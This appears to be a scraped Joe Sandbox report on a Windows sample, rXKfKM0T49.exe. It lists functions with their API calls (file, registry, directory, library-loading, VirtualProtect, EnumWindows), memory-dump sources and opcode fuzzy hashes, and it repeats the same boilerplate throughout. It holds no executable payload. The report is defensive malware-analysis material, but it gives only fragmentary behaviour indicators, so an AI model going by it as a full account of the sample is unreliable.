Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nspC239.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\rXKfKM0T49.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 70092AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 70092B6B

Memory Dump Source

Source File: 00000000.00000002.1855880593.0000000070091000.00000020.00000001.01000000.00000004.sdmp, Offset: 70090000, based on PE: true

Associated: 00000000.00000002.1855819178.0000000070090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855965653.0000000070094000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855996025.0000000070096000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70090000_rXKfKM0T49.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: fbe81cca3ce63233e93d6ca77eeeefbb2f8dd75c85b7eb2eb4a0dd4f70aee2d5
Instruction ID: 6779a5745e932a0618e7a6832aedf376df9a434e158e17617019e2c64eba9dab
Opcode Fuzzy Hash: fbe81cca3ce63233e93d6ca77eeeefbb2f8dd75c85b7eb2eb4a0dd4f70aee2d5
Instruction Fuzzy Hash: 0641BFB3420204DFEB21DF77DD42B4D37A5FB84B35F32442AF501A6121E734A881AB9A

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040FF7C,0040CED0,004033DE,0040CED0,0040FF7C,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 70092993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7009505C,00000004,00000040,7009504C), ref: 700929B1

Memory Dump Source

Source File: 00000000.00000002.1855880593.0000000070091000.00000020.00000001.01000000.00000004.sdmp, Offset: 70090000, based on PE: true

Associated: 00000000.00000002.1855819178.0000000070090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855965653.0000000070094000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855996025.0000000070096000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70090000_rXKfKM0T49.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fe99d2ec37967adb2d1868c49d0a21630c478751d38f91d785f5de2063144ccc
Instruction ID: 15f58cc602b287941ad63849a725379fbd3b2af3483db89a9078eae159884d30
Opcode Fuzzy Hash: fe99d2ec37967adb2d1868c49d0a21630c478751d38f91d785f5de2063144ccc
Instruction Fuzzy Hash: CAF092B2525280DEE350CF2B8C457093BE0B789736B21462BE288E6260F3744455DF95

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
